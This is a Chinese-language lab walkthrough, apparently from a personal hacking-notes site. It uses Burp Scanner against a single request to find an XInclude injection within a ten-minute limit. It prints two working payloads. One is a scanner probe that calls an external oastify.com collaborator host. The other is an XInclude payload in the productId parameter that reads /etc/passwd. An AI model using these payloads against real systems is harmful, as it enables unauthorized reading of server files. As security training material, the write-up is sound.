> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/essential-skills/quick-detection-with-a-target-scan.md).

# 通过目标扫描快速检测

### 通过有针对性的扫描快速发现漏洞

#### 实验上下文

此实验室包含一个可 **读取服务器上的任意文件的漏洞**. / 目标是 **恢复以下的内容 `/etc/passwd` 在不到 10 分钟内**.

由于这个时间限制，建议使用 **Burp Scanner** 而不是进行完整的应用审计。

#### 时间限制

* 从实验开始起，\*\*10 分钟计时器\*\*将处于激活状态。
* 整体站点扫描可能太慢。
* 因此最好 **智能地定位潜在易受攻击的入口点**.

<figure><img src="/files/3ec38ed9c771841fc5b02ce79fa4b5cf6e4e34cc" alt=""><figcaption></figcaption></figure>

#### 方法

1. **使用 Burp Proxy 截获相关的 HTTP 请求** 使用 Burp Proxy。

<figure><img src="/files/4a5585e454ec9b0b56a018d93549cde70f512627" alt=""><figcaption></figcaption></figure>

快速分析查询逻辑以识别一个有趣的端点。

通过以下方式运行有针对性的扫描： **Burp Scanner** 针对这个特定查询。

<figure><img src="/files/3de44ff5a77e5425e79c6e1fe0acf07a00f56a13" alt=""><figcaption></figcaption></figure>

#### Burp 扫描配置

* 所选扫描类型： **爬取并审计**

<figure><img src="/files/abbc10b2d2f17146eccf7cd23a43d07250c0dc37" alt=""><figcaption></figcaption></figure>

* 模式： **快速扫描**

目标：快速识别可利用的攻击向量

<figure><img src="/files/e48dd266d04d668838155731564f72e60c012d6a" alt=""><figcaption></figcaption></figure>

#### 已识别漏洞

扫描显示一种类型为 **XML 注入（XInclude）**.

<figure><img src="/files/b3e373ee98efc7a2001eaf7964473824385d0acf" alt=""><figcaption></figcaption></figure>

Burp Scanner 检测到的初始载荷：

{% code overflow="wrap" %}

```xml
<oid xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://mrh1ja6l5f029m1pdnomovjvomufik6ludh35s.oastify.com/foo"/></oid>
```

{% endcode %}

这证实服务器会处理 **XInclude** 未经限制的实体。

#### 利用：读取 `/etc/passwd`

有效载荷被修改为包含一个本地系统文件：

{% code overflow="wrap" %}

```http
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
id>&storeId=1
```

{% endcode %}

<figure><img src="/files/728687745ffa523d5176447b8485f9812709f70c" alt=""><figcaption></figcaption></figure>


---

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